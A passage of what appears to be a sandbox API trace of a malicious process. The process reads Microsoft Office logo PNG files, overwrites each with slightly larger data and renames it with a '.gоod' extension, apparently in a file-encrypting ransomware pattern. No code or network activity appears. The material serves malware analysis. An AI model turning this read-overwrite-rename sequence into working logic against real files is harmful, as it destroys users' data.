dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0246.019] GetFileType (hFile=0x824) returned 0x1 [0246.019] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0246.019] GetFileType (hFile=0x824) returned 0x1 [0246.019] GetFileSize (in: hFile=0x824, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x982 [0246.019] ReadFile (in: hFile=0x824, lpBuffer=0x37fd718, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x37fd718*, lpNumberOfBytesRead=0x1fcee238*=0x982, lpOverlapped=0x0) returned 1 [0246.570] CloseHandle (hObject=0x824) returned 1 [0248.137] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.scale-180.png", lpFilePart=0x0) returned 0x57 [0248.137] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0248.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogosmall.scale-180.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0248.138] GetFileType (hFile=0x828) returned 0x1 [0248.138] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0248.138] GetFileType (hFile=0x828) returned 0x1 [0248.138] WriteFile (in: hFile=0x828, lpBuffer=0x38a4240*, nNumberOfBytesToWrite=0x990, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x38a4240*, lpNumberOfBytesWritten=0x1fcee148*=0x990, lpOverlapped=0x0) returned 1 [0248.138] CloseHandle (hObject=0x828) returned 1 [0248.138] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.scale-180.png", lpFilePart=0x0) returned 0x57 [0248.138] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.scale-180.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.scale-180.png.gоod", lpFilePart=0x0) returned 0x5c [0248.139] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0248.139] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogosmall.scale-180.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a6b16ff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6b16ff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x901c9b62, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x990)) returned 1 [0248.139] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0248.139] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogosmall.scale-180.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.scale-180.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogosmall.scale-180.png.gоod")) returned 1 [0248.140] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.scale-80.png", lpFilePart=0x0) returned 0x56 [0248.140] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0248.140] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogosmall.scale-80.png"), fInfoLevelId=0x0, lpFileInformation=0x38a5540 | out: lpFileInformation=0x38a5540*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6b16ff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6b16ff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6d794e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x66c)) returned 1 [0248.140] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0248.140] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.scale-80.png", lpFilePart=0x0) returned 0x56 [0248.140] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0248.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogosmall.scale-80.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0248.141] GetFileType (hFile=0x828) returned 0x1 [0248.141] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0248.141] GetFileType (hFile=0x828) returned 0x1 [0248.141] GetFileSize (in: hFile=0x828, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x66c [0248.141] ReadFile (in: hFile=0x828, lpBuffer=0x38a5ec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x38a5ec8*, lpNumberOfBytesRead=0x1fcee238*=0x66c, lpOverlapped=0x0) returned 1 [0248.142] CloseHandle (hObject=0x828) returned 1 [0248.204] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.scale-80.png", lpFilePart=0x0) returned 0x56 [0248.204] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0248.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogosmall.scale-80.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0248.922] GetFileType (hFile=0x85c) returned 0x1 [0248.922] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0248.922] GetFileType (hFile=0x85c) returned 0x1 [0248.922] WriteFile (in: hFile=0x85c, lpBuffer=0x38f1980*, nNumberOfBytesToWrite=0x670, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x38f1980*, lpNumberOfBytesWritten=0x1fcee148*=0x670, lpOverlapped=0x0) returned 1 [0248.923] CloseHandle (hObject=0x85c) returned 1 [0248.923] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.scale-80.png", lpFilePart=0x0) returned 0x56 [0248.923] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.scale-80.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.scale-80.png.gоod", lpFilePart=0x0) returned 0x5b [0248.923] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0248.923] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogosmall.scale-80.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a6b16ff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6b16ff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x90963185, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x670)) returned 1 [0248.923] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0248.923] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogosmall.scale-80.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.scale-80.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogosmall.scale-80.png.gоod")) returned 1 [0248.924] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-black_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-black_scale-100.png", lpFilePart=0x0) returned 0x63 [0248.924] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0248.924] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-black_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogo.contrast-black_scale-100.png"), fInfoLevelId=0x0, lpFileInformation=0x38f2c70 | out: lpFileInformation=0x38f2c70*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6fdbb6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6fdbb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6fdbb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x89b)) returned 1 [0248.924] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0248.924] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-black_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-black_scale-100.png", lpFilePart=0x0) returned 0x63 [0248.924] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0248.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-black_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogo.contrast-black_scale-100.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0248.924] GetFileType (hFile=0x85c) returned 0x1 [0248.924] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0248.925] GetFileType (hFile=0x85c) returned 0x1 [0248.925] GetFileSize (in: hFile=0x85c, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x89b [0248.925] ReadFile (in: hFile=0x85c, lpBuffer=0x38f3898, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x38f3898*, lpNumberOfBytesRead=0x1fcee238*=0x89b, lpOverlapped=0x0) returned 1 [0248.929] CloseHandle (hObject=0x85c) returned 1 [0248.960] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-black_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-black_scale-100.png", lpFilePart=0x0) returned 0x63 [0248.960] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0248.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-black_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogo.contrast-black_scale-100.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x89c [0248.961] GetFileType (hFile=0x89c) returned 0x1 [0248.961] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0248.961] GetFileType (hFile=0x89c) returned 0x1 [0248.961] WriteFile (in: hFile=0x89c, lpBuffer=0x37843a0*, nNumberOfBytesToWrite=0x8a0, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x37843a0*, lpNumberOfBytesWritten=0x1fcee148*=0x8a0, lpOverlapped=0x0) returned 1 [0248.961] CloseHandle (hObject=0x89c) returned 1 [0248.961] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-black_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-black_scale-100.png", lpFilePart=0x0) returned 0x63 [0248.961] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-black_scale-100.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-black_scale-100.png.gоod", lpFilePart=0x0) returned 0x68 [0248.961] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0248.961] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-black_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogo.contrast-black_scale-100.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a6fdbb6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6fdbb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x909af792, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x8a0)) returned 1 [0248.961] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0248.962] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-black_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogo.contrast-black_scale-100.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-black_scale-100.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogo.contrast-black_scale-100.png.gоod")) returned 1 [0248.963] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-black_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-black_scale-140.png", lpFilePart=0x0) returned 0x63 [0248.963] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0248.963] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-black_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogo.contrast-black_scale-140.png"), fInfoLevelId=0x0, lpFileInformation=0x37856e8 | out: lpFileInformation=0x37856e8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6d794e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6d794e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6fdbb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xac2)) returned 1 [0248.963] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0248.963] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-black_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-black_scale-140.png", lpFilePart=0x0) returned 0x63 [0248.963] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0248.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-black_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogo.contrast-black_scale-140.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x89c [0248.963] GetFileType (hFile=0x89c) returned 0x1 [0248.963] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0248.963] GetFileType (hFile=0x89c) returned 0x1 [0248.963] GetFileSize (in: hFile=0x89c, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0xac2 [0248.963] ReadFile (in: hFile=0x89c, lpBuffer=0x3786538, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x3786538*, lpNumberOfBytesRead=0x1fcee238*=0xac2, lpOverlapped=0x0) returned 1 [0249.385] CloseHandle (hObject=0x89c) returned 1 [0249.419] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-black_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-black_scale-140.png", lpFilePart=0x0) returned 0x63 [0249.419] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0249.419] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-black_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogo.contrast-black_scale-140.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x89c [0249.420] GetFileType (hFile=0x89c) returned 0x1 [0249.420] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0249.420] GetFileType (hFile=0x89c) returned 0x1 [0249.420] WriteFile (in: hFile=0x89c, lpBuffer=0x3791298*, nNumberOfBytesToWrite=0xad0, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x3791298*, lpNumberOfBytesWritten=0x1fcee148*=0xad0, lpOverlapped=0x0) returned 1 [0249.420] CloseHandle (hObject=0x89c) returned 1 [0249.420] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-black_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-black_scale-140.png", lpFilePart=0x0) returned 0x63 [0249.420] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-black_scale-140.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-black_scale-140.png.gоod", lpFilePart=0x0) returned 0x68 [0249.421] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0249.421] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-black_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogo.contrast-black_scale-140.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a6d794e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6d794e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x90e097d8, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xad0)) returned 1 [0249.421] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0249.421] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-black_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogo.contrast-black_scale-140.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-black_scale-140.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogo.contrast-black_scale-140.png.gоod")) returned 1 [0249.421] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-black_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-black_scale-180.png", lpFilePart=0x0) returned 0x63 [0249.422] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0249.422] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-black_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogo.contrast-black_scale-180.png"), fInfoLevelId=0x0, lpFileInformation=0x37925e0 | out: lpFileInformation=0x37925e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6d794e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6d794e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6fdbb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xda4)) returned 1 [0249.422] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0249.422] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-black_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-black_scale-180.png", lpFilePart=0x0) returned 0x63 [0249.422] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0249.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-black_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogo.contrast-black_scale-180.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x89c [0249.422] GetFileType (hFile=0x89c) returned 0x1 [0249.422] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0249.422] GetFileType (hFile=0x89c) returned 0x1 [0249.422] GetFileSize (in: hFile=0x89c, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0xda4 [0249.422] ReadFile (in: hFile=0x89c, lpBuffer=0x3793710, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x3793710*, lpNumberOfBytesRead=0x1fcee238*=0xda4, lpOverlapped=0x0) returned 1 [0249.637] CloseHandle (hObject=0x89c) returned 1 [0251.687] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-black_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-black_scale-180.png", lpFilePart=0x0) returned 0x63 [0251.687] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0251.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-black_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogo.contrast-black_scale-180.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0251.688] GetFileType (hFile=0x768) returned 0x1 [0251.688] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0251.688] GetFileType (hFile=0x768) returned 0x1 [0251.688] WriteFile (in: hFile=0x768, lpBuffer=0x3b866d8*, nNumberOfBytesToWrite=0xdb0, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x3b866d8*, lpNumberOfBytesWritten=0x1fcee148*=0xdb0, lpOverlapped=0x0) returned 1 [0251.688] CloseHandle (hObject=0x768) returned 1 [0251.688] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-black_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft 